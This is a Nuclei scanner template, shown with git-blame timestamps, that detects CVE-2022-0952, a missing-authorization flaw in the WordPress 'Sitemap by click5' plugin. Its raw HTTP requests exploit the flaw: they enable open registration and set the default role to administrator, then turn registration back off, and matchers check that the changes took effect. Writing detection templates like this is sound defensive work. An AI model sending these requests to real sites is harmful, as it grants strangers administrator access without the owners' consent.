nuclei-templates/http/cves/2022/CVE-2022-0952.yaml

60 lines
2.4 KiB
YAML
Raw Normal View History

2022-04-15 14:45:43 +00:00
id: CVE-2022-0952
info:
name: WordPress Sitemap by click5 <1.0.36 - Missing Authorization
2022-04-15 14:45:43 +00:00
author: random-robbie
2022-07-27 17:34:33 +00:00
severity: high
2022-07-25 12:10:44 +00:00
description: |
WordPress Sitemap by click5 plugin before 1.0.36 is susceptible to missing authorization. The plugin does not have authorization or CSRF checks when updating options via a REST endpoint and does not ensure that the option to be updated belongs to the plugin. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
2023-09-06 11:59:08 +00:00
remediation: |
Update to the latest version of the WordPress Sitemap plugin by click5 (1.0.36 or higher) to fix the missing authorization issue.
2022-07-25 12:15:07 +00:00
reference:
2022-07-25 12:10:44 +00:00
- https://wpscan.com/vulnerability/0f694961-afab-44f9-846c-e80a0f6c768b
2022-07-27 17:33:49 +00:00
- https://nvd.nist.gov/vuln/detail/CVE-2022-0952
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
cvss-score: 8.8
cve-id: CVE-2022-0952
2023-07-11 19:49:27 +00:00
cwe-id: CWE-352
2023-10-14 11:27:55 +00:00
epss-score: 0.03653
epss-percentile: 0.90641
2023-09-06 11:59:08 +00:00
cpe: cpe:2.3:a:sitemap_project:sitemap:*:*:*:*:*:wordpress:*:*
2022-07-25 12:10:44 +00:00
metadata:
2023-06-04 08:13:42 +00:00
verified: true
2023-09-06 11:59:08 +00:00
max-request: 3
2023-07-11 19:49:27 +00:00
vendor: sitemap_project
product: sitemap
2023-09-06 11:59:08 +00:00
framework: wordpress
tags: wp,wp-plugin,sitemap,wpscan,cve,cve2022,wordpress
2022-04-15 14:45:43 +00:00
http:
2022-04-18 10:49:28 +00:00
- raw:
- |
2022-07-25 12:10:44 +00:00
POST /wp-json/click5_sitemap/API/update_html_option_AJAX HTTP/1.1
2022-04-18 10:49:28 +00:00
Host: {{Hostname}}
2022-07-25 12:10:44 +00:00
Content-type: application/json;charset=UTF-8
{"users_can_register":"1"}
2022-04-18 10:49:28 +00:00
- |
POST /wp-json/click5_sitemap/API/update_html_option_AJAX HTTP/1.1
Host: {{Hostname}}
Content-type: application/json;charset=UTF-8
2022-04-15 14:45:43 +00:00
2022-07-25 12:10:44 +00:00
{"default_role":"administrator"}
2022-07-26 05:12:53 +00:00
- |
POST /wp-json/click5_sitemap/API/update_html_option_AJAX HTTP/1.1
Host: {{Hostname}}
Content-type: application/json;charset=UTF-8
{"users_can_register":"0"}
2022-07-25 12:10:44 +00:00
req-condition: true
2022-04-18 10:49:28 +00:00
matchers:
2022-07-25 12:10:44 +00:00
- type: dsl
dsl:
- 'contains(header, "application/json")'
2022-07-25 12:10:44 +00:00
- "status_code == 200"
- "contains(body_1, 'users_can_register')"
- "contains(body_2, 'default_role')"
2022-04-18 10:49:28 +00:00
condition: and
# digest: 4b0a0048304602210092420589bb0a1fb965c7e52398262e099550429c459c5d2541eab89719fe347c022100857e43060eaf5b2a8e16272149182fc69c92ef0522dac6823819589a53bd6fc1:922c64590222798bb761d5b6d8e72950